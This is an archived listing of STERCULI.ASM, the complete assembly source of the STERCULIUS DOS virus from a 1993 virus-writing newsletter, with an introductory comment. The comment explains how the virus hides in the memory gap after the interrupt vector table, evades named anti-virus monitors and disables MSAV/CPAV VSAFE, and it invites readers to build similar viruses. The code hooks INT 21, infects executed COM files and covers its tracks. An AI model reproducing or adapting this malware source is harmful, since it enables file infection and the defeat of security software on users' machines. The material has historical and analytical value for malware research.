home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CRYPT18.ZIP / STERCULI.ASM < prev    next >
Assembly Source File  |  1993-09-10  |  13KB  |  422 lines

  1. comment $
  2.  
  3. STERCULIUS virus: copying a virus into the air in the interrupt
  4. vector table - for CRYPT NEWSLETTER 18.
  5.  
  6. The STERCULIUS virus uses the 'hole' in DOS's memory that is
  7. found after the interrupt vector table located at 0000:0000 in memory.
  8. This hole in memory is unused much of the time and is filled with
  9. '00''s, or "air", starting at 0000:01E0.
  10.  
  11. Using the MS-DOS program DEBUG we can take a quick look at this
  12. empty space by typing the command:
  13.      
  14.      DEBUG
  15.      d 0000:01e0
  16.  
  17. And we see:
  18.  
  19. 0000:01E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  20. 0000:01F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  21. 0000:0200  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  22. 0000:0210  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  23. 0000:0220  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  24. 0000:0230  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  25. 0000:0240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  26. 0000:0250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  27.  
  28. Not much of anything! 
  29.  
  30. The LoveChild virus uses the same space and if it were present
  31. in memory (not likely, as it barely works under DOS 3.3),
  32. you'd see something like "v2 LoveChild in reward for software
  33. sealing [sic]" or some similar gibber in the above display.
  34.  
  35. Sterculius copies itself to segment:offset 0000:01E0 in memory, 
  36. right next to the end of the data in the interrupt vector table,
  37. like LoveChild and if we fire up DEBUG again once the virus
  38. is in memory:
  39.  
  40. 0000:01E0  E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE   ...STERCULIUS^..
  41. 0000:01F0  03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E   .V...U......^3..
  42. 0000:0200  C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90   ....&.}.STt.....
  43. 0000:0210  F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90   ..............c.
  44. 0000:0220  FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56   ..|..D.........V
  45. 0000:0230  C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3   ....SMZc........
  46. 0000:0240  E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57   .....Ku.PSQR..VW
  47. 0000:0250  55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43   U...C...Q.R3...C
  48.  
  49. Four!
  50.  
  51. Without the marker, "STERCULIUS," the virus would be difficult 
  52. for the user to see in memory for a couple of reasons: 
  53.  
  54. 1) Very few people actually know what system memory in the interrupt 
  55.    table looks like normally,
  56.  
  57. 2) It is not a place any of the current memory spies tell you to look for 
  58.    viruses.  
  59.  
  60. IF you scan up the rest of the table you will see the remainder of the 
  61. virus and about once again as much free space left.  
  62. That means you can fit about a 300+ byte virus into this space, plenty 
  63. of room for lots of extra code.
  64.  
  65. If you look again at the DEBUG dump you will see "MZ" - 
  66. that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of 
  67. any executed program to check if it's a suitable candidate for infection.  
  68.  
  69. Sterculius stores the word and in the case of DEBUG, lets the program pass by.
  70. If a .COMfile had just been loaded, the original program's jump would 
  71. be occupying that space.
  72.  
  73. Clear?  
  74. Now you can follow this example to make memory resident viruses that occupy
  75. that 'hole' in memory next to the  interrupt vector table.
  76.  
  77. Viruses using this method of residence aren't detected by 
  78. 98% of the anti-virus guards - or virus filters - specifically designed 
  79. to detect programs which go resident. This is odd, since the technique 
  80. isn't particularly new.  However, one or two anti-virus manufacturers
  81. have taken steps in this direction, coding their memory filters so
  82. that some of their code occupies the same general area that a virus
  83. like STERCULIUS might use.  Then again, these developers have to
  84. deal with users who may have memory management drivers which muck
  85. about in the same space.  You see, there are always trade-offs
  86. in this kind of work.
  87.  
  88. Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb 
  89. like INVIRCBLE, or just about any TYPICAL resident monitor.  
  90. STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
  91. which will under optimum conditions, deinstall the Microsoft Anti-virus
  92. resident filter.
  93.  
  94. Interesting!  
  95.  
  96. Many lazy people have grown fond of McAfee Associates PROVIEW, too.  
  97. It's good for checking up on viruses in memory because it puts a 
  98. big <UNKNOWN> message on the screen when a virus is taking up space at 
  99. the top of conventional RAM.  
  100.  
  101. You won't see STERCULIUS using this technique, nor will a look at where 
  102. INT 21 is pointing under PROVIEW tell the dilettante much.  
  103.  
  104. Proview will show you the interrupt is still pointing into the table, where 
  105. it belongs.  
  106. You'll have to look close to see that the original address has changed!
  107.  
  108. STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
  109. always the probability that it will crash on other multi-tasking systems 
  110. which use other memory managers. 
  111.  
  112.  
  113. Often, you see, they use the space where STERCULIUS resides.  
  114.  
  115. If this is the case, they system will hang when STERCULIUS invades it.  
  116. You can alter this behavior by looking at the interrupt vector table on your 
  117. system and altering where STERCULIUS copies itself into memory by moving 
  118. the virus up in RAM.
  119.  
  120. Also, this method of residency has an indirect benefit.  
  121. STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
  122. over the same memory space.
  123.  
  124. STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
  125. with boot up.  However, since COMMAND.COM overwrites the space
  126. STERCULIUS is using at boot time, the virus is expunged from memory
  127. on completion of system installation.  Shelling anytime thereafter
  128. reinstalls the virus. Reloading the transient portion of COMMAND.COM
  129. doesn't interfere with the virus either.
  130.  
  131.  
  132. $
  133.  
  134. ;**************************************
  135. ;            STERCULIUS VIRUS
  136. ;
  137. ; AUTHORS: Köhntark / Urnst Kouch
  138. ; DATE:    SEPTEMBER 1993
  139. ;
  140. ;**************************************
  141.  
  142. .model tiny
  143. .code
  144.         org 100h
  145.  
  146. START:                                                 
  147.         db      0E9h,03,00,'S'   ;Jump to Virus_Entry
  148.  
  149. FAKE_HOST:                                
  150.         int     20h              ;host file terminate
  151.  
  152.  
  153. VIRUS_ENTRY:
  154.  
  155.         call    INITIALIZE
  156.  
  157. ID:             db      'STERCULIUS'      ;The Roman god of feces
  158.                       ;intellectual property of Mike
  159. INITIALIZE:                               ;Judge, sort of, and if this
  160.         pop     si                ;means nothing to you, then you're
  161.         sub     si,3              ;not paying attention
  162.  
  163. ;*****************                
  164. ; Restore host
  165. ;*****************
  166.         
  167.         push    si
  168.         cld
  169.         add     si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
  170.         mov     di,0100h
  171.         movsw
  172.         movsw
  173.         pop     si
  174.  
  175. ;***************************                
  176. ; Remove MSAV / CPAV VSAFE    ;<---VSLAY, Crypt Newsletter 15 [ref]
  177. ;***************************
  178.         
  179.         mov  dx,5945h
  180.         mov  ax,0FA01h    ;AL=01 very important!
  181.         int  21h
  182.  
  183. ;***************************                
  184. ; Check if already resident
  185. ;***************************
  186.  
  187.         xor     ax,ax
  188.         mov     es,ax  
  189.         mov     di,01E0h
  190.         cmp     WORD PTR es:[di + 3],'TS'
  191.         je      EXIT
  192.         
  193.         mov     cx,ZIZE
  194.         rep     movsb           ;move virus to 0000:01E0 from ds:si
  195.         
  196. ;***********************                
  197. ; Mov INT 21 address
  198. ;***********************
  199.  
  200.         mov     si,21h * 4
  201.         mov     ds,ax        ;ds=0
  202.         movsw                ;from ds:si to es:di
  203.         movsw 
  204.         
  205. ;***********************                
  206. ;  Hook INT 21
  207. ;***********************
  208.  
  209.         mov     di,01E0h
  210.         add     di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
  211.         cli                           ;disable interrupts
  212.         mov     WORD PTR [si - 4],di  ;address of INT 21 handler
  213.         mov     WORD PTR [si - 2],ax  
  214.         sti                           ;enable interrupts  
  215.  
  216.         push    cs
  217.         pop     ds
  218. EXIT:           push    cs
  219.         pop     es         
  220.         mov     si,0100h
  221.         push    si
  222.            ;push    0100h       ;386 code left out
  223.         ret                 ;return to host
  224.  
  225. ;----------------------------------------------------------------------------
  226.  
  227. NEW_HOST_ENTRY:
  228.         db      0E9h,00,00,'S'
  229.  
  230. HOST_STUB:
  231.         db  090h,090h,090h,090h ;nops
  232.  
  233. INT_21:
  234.         pushf  
  235.         call  DWORD PTR cs:[REALL_INT_21]
  236.         ret
  237.          
  238. QUICK_EXIT:     jmp     QUICK_OUT
  239.  
  240. ;----------------------------------------------------------------------------
  241. INT_21_HANDLER:
  242.  
  243.          cmp     ah,4Bh           ;execute a file?
  244.          jne     QUICK_EXIT       ;quick exit handler
  245.          
  246.          push ax
  247.          push bx
  248.          push cx
  249.          push dx
  250.          push ds
  251.          push es
  252.          push si
  253.          push di
  254.          push bp
  255.          pushf
  256.  
  257. ;***********************                
  258. ;  Save Attributes
  259. ;***********************
  260.  
  261.          mov     ax,4300h
  262.          call    INT_21
  263.          jc      SKIP
  264.          push    cx         ;save attributes to stack
  265.          push    ds
  266.          push    dx         ;ds:dx = pathname to file
  267.  
  268.  
  269. ;***********************                
  270. ;  Klear Attributes
  271. ;***********************
  272.  
  273.          xor     cx,cx
  274.          mov     ax,4301h
  275.          call    INT_21
  276. SKIP:            jc      RESTORE_ATTRIBUTES
  277.  
  278. ;***********************                
  279. ;  Open File
  280. ;***********************
  281.  
  282.          mov     ax,3D02h
  283.          call    INT_21
  284.          jc      RESTORE_ATTRIBUTES
  285.          xchg    bx,ax         ;file handle to bx
  286.  
  287. ;***********************                
  288. ;  Save Date & time
  289. ;***********************
  290.          
  291.          mov   ax,5700h
  292.          call  INT_21
  293.          push  dx              ;save date
  294.          push  cx              ;save time
  295.  
  296. ;***********************                
  297. ;  Read 4 bytes
  298. ;***********************
  299.  
  300.         mov     cx,04                ;# of bytes to read
  301.         mov     dx,HOST_STUBB        ;buffer to read 4 bytes to
  302.         mov     si,dx
  303.         mov     ah,3Fh
  304.         push    cs 
  305.         pop     ds                   ;ds=cs
  306.         call    INT_21               ;read to ds:dx
  307.         jc      CLOSE_FILE
  308.  
  309. ;***********************                
  310. ;  Check File
  311. ;***********************
  312.  
  313.         cmp     WORD PTR [si],'ZM'     ;EXE file?
  314.         je      CLOSE_FILE
  315.         cmp     BYTE PTR [si + 3],'S'  ;infected COM file?
  316.         je      CLOSE_FILE
  317.         
  318. ;***********************                
  319. ;  File PTR @EOF
  320. ;***********************
  321.         
  322.         mov     ax,4202h
  323.         xor     cx,cx
  324.         cwd               ;cx = dx = 00
  325.         call    INT_21
  326.  
  327.         sub     ax,03     ;fix file size 
  328.         xchg    bp,ax     ;address to jump to
  329.         
  330.         add     ax,ZIZE       ;file + VIRUS SIZE > 64K?
  331.         jc      CLOSE_FILE    ;exit if so
  332.  
  333. ;***********************                
  334. ;  Write Virus
  335. ;***********************
  336.  
  337.            mov     ah,40h
  338.            mov     cx,ZIZE    ;cx = #of bytes
  339.            mov     dx,01E0h   ;dx = write from here
  340.            call    INT_21
  341.  
  342. ;***********************                
  343. ;  Set PTR @BOF
  344. ;***********************
  345.         
  346.            mov     ax,4200h  
  347.            xor     cx,cx
  348.            cwd               ;cx = dx = 00
  349.            call    INT_21
  350.  
  351. ;***********************                
  352. ;  Write new jump
  353. ;***********************
  354.  
  355.            mov     ah,40h
  356.            mov     cx,4                      ; # of bytes to write
  357.            mov     dx,NEW_HOST_ENTRYY        ;dx = write from here
  358.            mov     si,dx
  359.  
  360.            mov     WORD PTR [si + 1],bp      ;insert new address
  361.            call    INT_21
  362.  
  363. CLOSE_FILE:                
  364.         
  365. ;***********************                
  366. ;  Restore Date & time
  367. ;***********************
  368.          
  369.            pop   cx       ;restore time
  370.            pop   dx       ;restore date
  371.            mov   ax,5701h
  372.            call  INT_21
  373.  
  374. ;***********************                
  375. ;  Klose File
  376. ;***********************
  377.            
  378.            mov     ah,3Eh 
  379.            call    INT_21
  380.          
  381. ;***********************                
  382. ;  Restore Attributes
  383. ;***********************
  384.  
  385. RESTORE_ATTRIBUTES:
  386.            
  387.            mov     ax,4301h
  388.            pop     dx         ;ds:dx = pathname to file
  389.            pop     ds         ;restore pathname
  390.            pop     cx         ;restore old attributes
  391.            call    INT_21
  392.  
  393. ;***********************                
  394. ;  Restore registers
  395. ;***********************
  396.  
  397. EXIT_HANDLER:                   
  398.          popf
  399.          pop  bp
  400.          pop  di
  401.          pop  si
  402.          pop  es
  403.          pop  ds
  404.          pop  dx
  405.          pop  cx
  406.          pop  bx
  407.          pop  ax
  408.         
  409. QUICK_OUT:       db   0EAh       ; jmp OFFSET:SEGMENT
  410. END_VIRUS:                
  411. REAL_INT_21:
  412.  
  413.  
  414. ZIZE             equ     OFFSET END_VIRUS              - VIRUS_ENTRY 
  415. REALL_INT_21     equ     01E0h + OFFSET REAL_INT_21    - OFFSET VIRUS_ENTRY
  416. HOST_STUBB       equ     01E0h + OFFSET HOST_STUB      - OFFSET VIRUS_ENTRY     
  417. NEW_HOST_ENTRYY  equ     01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
  418.  
  419. END             START
  420.         
  421.  
  422.